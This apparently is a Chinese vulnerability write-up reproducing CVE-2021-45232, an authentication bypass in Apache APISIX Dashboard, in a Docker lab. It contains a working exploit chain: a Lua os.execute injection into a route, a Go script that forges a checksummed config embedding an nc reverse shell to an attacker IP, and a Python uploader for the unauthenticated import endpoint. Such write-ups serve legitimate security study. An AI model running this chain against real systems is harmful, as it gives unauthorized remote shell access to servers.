Apache?APISIX?Dashboard?未授權(quán)訪問(wèn)漏洞分析(CVE-2021-45232)
聲明:本文僅供學(xué)習(xí)參考,其中涉及的一切資源均來(lái)源于網(wǎng)絡(luò),請(qǐng)勿用于任何非法行為,否則您將自行承擔(dān)相應(yīng)后果,本人不承擔(dān)任何法律及連帶責(zé)任。
漏洞描述
Apache APISIX 是一個(gè)動(dòng)態(tài)、實(shí)時(shí)、高性能的 API 網(wǎng)關(guān), 提供負(fù)載均衡、動(dòng)態(tài)上游、灰度發(fā)布、服務(wù)熔斷、身份認(rèn)證、可觀測(cè)性等豐富的流量管理功能。Apache APISIX Dashboard 使用戶可通過(guò)前端界面操作 Apache APISIX。該漏洞的存在是由于 Manager API 中的錯(cuò)誤。Manager API 在 gin 框架的基礎(chǔ)上引入了 droplet 框架,所有的 API 和鑒權(quán)中間件都是基于 droplet 框架開(kāi)發(fā)的。但是有些 API 直接使用了框架 gin 的接口,從而繞過(guò)身份驗(yàn)證。
影響范圍
Apache APISIX Dashboard < 2.10.1
環(huán)境部署
通過(guò)git clone apisix-docker
git clone https://github.com/apache/apisix-docker cd apisix-docker/example/
修改docker-compose.yml
apache/apisix-dashboard:2.7 apache/apisix:2.6-alpine

然后,docker-compose up -d 啟動(dòng)環(huán)境
環(huán)境起來(lái)后,瀏覽器通過(guò)默認(rèn)端口9000訪問(wèn)apisix dashboard

后臺(tái)RCE
由于apisix dashboard 默認(rèn)賬號(hào)和密碼是admin:admin,所以我們先登錄到后臺(tái),來(lái)驗(yàn)證一把遠(yuǎn)程命令執(zhí)行

首先創(chuàng)建一個(gè)上游服務(wù),點(diǎn)擊創(chuàng)建,名稱隨意命名,目標(biāo)節(jié)點(diǎn)填寫(xiě)我們轉(zhuǎn)發(fā)請(qǐng)求的服務(wù),這里我們填寫(xiě)docker附帶的Grafana應(yīng)用,端口號(hào)為3000,點(diǎn)擊下一步,提交即可。


其次,創(chuàng)建一個(gè)路由,名稱任意起,路徑也是自定義,點(diǎn)擊下一步,選擇我們剛才創(chuàng)建的上游服務(wù),最后,提交即可。




查看創(chuàng)建的路由

回到路由配置頁(yè)面,點(diǎn)擊配置,然后一直下一步,直到提交時(shí),使用BurpSuite抓包


然后在請(qǐng)求包的body中,添加一個(gè)script字段后,發(fā)送請(qǐng)求。
"script": "os.execute('touch /tmp/Keepb1ue')"
再次查看,路由配置信息

接著,我們?cè)L問(wèn)一下: http://192.168.10.171:9080/rce111
docker中看一下,是否創(chuàng)建了Keepblue這個(gè)文件

未授權(quán)接口RCE
如果沒(méi)有默認(rèn)密碼或者弱密碼的話,這時(shí)我們就利用未授權(quán)接口進(jìn)行RCE了
/apisix/admin/migrate/export /apisix/admin/migrate/import
首先,使用/apisix/admin/migrate/export導(dǎo)出配置文件
因?yàn)槭俏词跈?quán),所以在未登陸情況下,BP抓包后,請(qǐng)求接口改為/apisix/admin/migrate/export,點(diǎn)擊send后,看到配置文件信息

在導(dǎo)入配置文件時(shí),會(huì)對(duì)配置文件的checksum值進(jìn)行校驗(yàn),那這里其實(shí)是可以通過(guò)寫(xiě)腳本算出checksum校驗(yàn)值,或者是根據(jù)apisix的源碼去計(jì)算出新的checksum值
源碼位置在:apisix-dashboard-master\api\internal\handler\migrate\migrate.go的ExportConfig函數(shù)將其計(jì)算源碼單獨(dú)抽取出來(lái),并將需要導(dǎo)入的配置(data)進(jìn)修替換和插入RCE語(yǔ)句
package main
import (
"encoding/binary"
"fmt"
"hash/crc32"
"io/ioutil"
"os"
)
func main() {
gen()
}
func gen() {
data := []byte(`{"Counsumers":[],"Routes":[{"id":"403141558204891851","create_time":1649820693,"update_time":1649821490,"uris":["/rce111"],"name":"lyroute","methods":["GET","POST","PUT","DELETE","PATCH","HEAD","OPTIONS","CONNECT","TRACE"],"script":"os.execute('nc 192.168.8.14 2333 -e /bin/bash')","script_id":"403141558204891851","upstream_id":"403140847589130955","status":1}],"Services":[],"SSLs":[],"Upstreams":[{"id":"403140847589130955","create_time":1649820270,"update_time":1649820270,"nodes":[{"host":"192.168.10.171","port":3000,"weight":1}],"timeout":{"connect":6,"read":6,"send":6},"type":"roundrobin","scheme":"http","pass_host":"pass","name":"lytest"}],"Scripts":[{"id":"403141558204891851","script":"os.execute('nc 192.168.8.14 2333 -e /bin/bash')"}],"GlobalPlugins":[],"PluginConfigs":[]}`)
checksumUint32 := crc32.ChecksumIEEE(data)
checksumLength := 4
checksum := make([]byte, checksumLength)
binary.BigEndian.PutUint32(checksum, checksumUint32)
fileBytes := append(data, checksum...)
content := fileBytes
fmt.Println(content)
importData := content[:len(content)-4]
checksum2 := binary.BigEndian.Uint32(content[len(content)-4:])
if checksum2 != crc32.ChecksumIEEE(importData) {
fmt.Println(checksum2)
fmt.Println(crc32.ChecksumIEEE(importData))
fmt.Println("Check sum check fail, maybe file broken")
return
}
err := ioutil.WriteFile("apisixPayload", content, os.ModePerm)
if err != nil {
fmt.Println("error!!")
return
}
}
運(yùn)行這段腳本,會(huì)生成apisixPayload這個(gè)文件

這個(gè)就是我們要import上去的計(jì)算好校驗(yàn)值的新的配置文件,接下來(lái)使用python代碼可以簡(jiǎn)單的傳到服務(wù)端
import requests
url = "http://192.168.10.171:9000/apisix/admin/migrate/import"
files = {"file": open("apisixPayload", "rb")}
r = requests.post(url, data={"mode": "overwrite"}, files=files)
print(r.status_code)
print(r.content)
在攻擊機(jī)上,開(kāi)啟nc監(jiān)聽(tīng)

接下來(lái),訪問(wèn)路由地址(http://192.168.10.171:9080/rce111),觸發(fā)遠(yuǎn)程命令執(zhí)行
查看nc反彈shell

反彈成功,說(shuō)明命令已經(jīng)執(zhí)行
到此這篇關(guān)于Apache APISIX Dashboard 未授權(quán)訪問(wèn)漏洞(CVE-2021-45232)的文章就介紹到這了,更多相關(guān)Apache APISIX Dashboard 未授權(quán)訪問(wèn)漏洞內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!
相關(guān)文章
Linux上為你的任務(wù)創(chuàng)建一個(gè)自定義的系統(tǒng)托盤(pán)指示器
系統(tǒng)托盤(pán)圖標(biāo)如今仍是一個(gè)很神奇的功能。這篇文章主要介紹了Linux上為你的任務(wù)創(chuàng)建一個(gè)自定義的系統(tǒng)托盤(pán)指示器,需要的朋友可以參考下2019-07-07
Linux下Android開(kāi)發(fā)環(huán)境搭建的操作方法
下面小編就為大家分享一篇Linux下Android開(kāi)發(fā)環(huán)境搭建的操作方法,具有很好的參考價(jià)值,希望對(duì)大家有所幫助2017-12-12
Apache?APISIX?Dashboard?未授權(quán)訪問(wèn)漏洞分析(CVE-2021-45232)
Apache?APISIX?是一個(gè)動(dòng)態(tài)、實(shí)時(shí)、高性能的?API?網(wǎng)關(guān),?提供負(fù)載均衡、動(dòng)態(tài)上游、灰度發(fā)布、服務(wù)熔斷、身份認(rèn)證、可觀測(cè)性等豐富的流量管理功能,這篇文章主要介紹了Apache?APISIX?Dashboard?未授權(quán)訪問(wèn)漏洞(CVE-2021-45232),需要的朋友可以參考下2023-03-03
CentOS7?minimal?最小化安裝網(wǎng)絡(luò)設(shè)置過(guò)程
這篇文章主要介紹了CentOS7?minimal?最小化安裝網(wǎng)絡(luò)設(shè)置過(guò)程,具有很好的參考價(jià)值,希望對(duì)大家有所幫助。如有錯(cuò)誤或未考慮完全的地方,望不吝賜教2022-12-12
Linux終端提示符(prompt)不如期生效的原因分析與解決
Linux命令行是系統(tǒng)管理員管理Linux的重要手段,我們管理Linux,首先要面對(duì)的就是Linux命令行提示符。下面這篇文章主要給大家介紹了Linux終端提示符(prompt)不如期生效的原因以及解決方法,需要的朋友可以參考下。2017-07-07
linux系統(tǒng)報(bào)xfs_vm_releasepage警告問(wèn)題的處理方法
這篇文章主要給大家介紹了關(guān)于linux系統(tǒng)報(bào)xfs_vm_releasepage警告問(wèn)題的處理方法,文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家學(xué)習(xí)或者使用linux系統(tǒng)具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面來(lái)一起學(xué)習(xí)學(xué)習(xí)吧2019-07-07
apache無(wú)法啟動(dòng)的可能原因分析及對(duì)策
在遇到apache無(wú)法啟動(dòng)時(shí),可以參照如下可能的原因進(jìn)行分析與解決,有類似情況的朋友可以參考下哈2013-05-05

